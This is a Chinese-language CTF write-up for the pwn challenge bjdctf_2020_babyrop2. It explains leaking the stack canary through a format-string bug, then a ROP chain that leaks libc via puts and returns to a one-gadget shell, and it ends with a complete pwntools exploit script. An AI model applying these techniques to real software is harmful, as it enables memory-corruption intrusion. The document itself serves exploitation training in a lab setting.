這道題是一道基本題,正因為它經典,所以需要重點記錄一下。
這道題考察格式化字符串泄露canary,然后rop獲得libc版本,之后拿到shell。拿到程序之后我們先檢查一下保護。。。

開啟了堆棧不可執行和canary保護。接下來ida看一下偽代碼吧!

main函數中調用了三個函數,我們一個一個點進去看看,先看一下init()。

有點水文章了。。。第一和函數就是告訴我們說讓門盡力泄露libc的版本。。。來,我們繼續看第二個函數!

很明顯有一個格式化字符串漏洞,並且format是由我們控制的,這里呢,我們先算一下這個格式化字符串的偏移吧。你看scanf那里,允許我們輸入6個字節。。。那么我們就開始撞運氣泄露偏移吧。。。

當我們輸入泄露偏移為6處的地址時,找到6161也就是aa,那么說明格式化字符串的偏移就是6,這里我們就要泄露canary,canary是在rbp+8,那么我們只要算好偏移泄露就可以了。

這里的時候我們是輸入了%6$p,看棧分布,說明我們只要輸入%7$p,就把canary泄露出來了。我們直接運行程序看看。

輸出的這個就是canary,%p就是以十六進制輸出數據。
好,接下來我們看最后一個函數。

就是簡單的棧溢出,構造rop鏈了。
接下來來看看payload怎么構造。
1 payload = p64(cancry) 2 payload = payload.rjust(0x20,'a') 3 payload += 'bbbbbbbb' 4 payload += p64(pop_rdi) 5 payload += p64(puts_got) 6 payload += p64(puts_plt) 7 payload += p64(ret_addr)
把rbp+8的位置放上canary,下來就是簡單泄露libc版本,調用shell了。
貼一下完整的exp:
1 from pwn import * 2 import time 3 4 p = process('./bjdctf_2020_babyrop2') 5 elf = ELF('./bjdctf_2020_babyrop2') 6 context.log_level = 'debug' 7 8 p.recv() 9 payload = '%7$p' 10 p.sendline(payload) 11 p.recvuntil('0x') 12 cancry = int(p.recv(16),16) 13 14 puts_plt = 0x0400610 15 puts_got = elf.got['puts'] 16 pop_rdi = 0x0400993 17 main_addr = elf.symbols['main'] 18 ret_addr = 0x0400887 19 20 sleep(1) 21 payload = p64(cancry) 22 payload = payload.rjust(0x20,'a') 23 payload += 'bbbbbbbb' 24 payload += p64(pop_rdi) 25 payload += p64(puts_got) 26 payload += p64(puts_plt) 27 payload += p64(ret_addr) 28 p.recvuntil('story!\n') 29 p.sendline(payload) 30 puts_addr = u64(p.recv(6).ljust(8,'\x00')) 31 print hex(puts_addr) 32 33 base_addr = puts_addr - 0x06f690 34 shell_addr = base_addr + 0x45216 35 p.recvuntil('story!\n') 36 payload = p64(cancry) 37 payload = payload.rjust(0x20,'a') 38 payload += 'bbbbbbbb' 39 payload += p64(shell_addr) 40 p.sendline(payload) 41 p.interactive() 42 p.close()
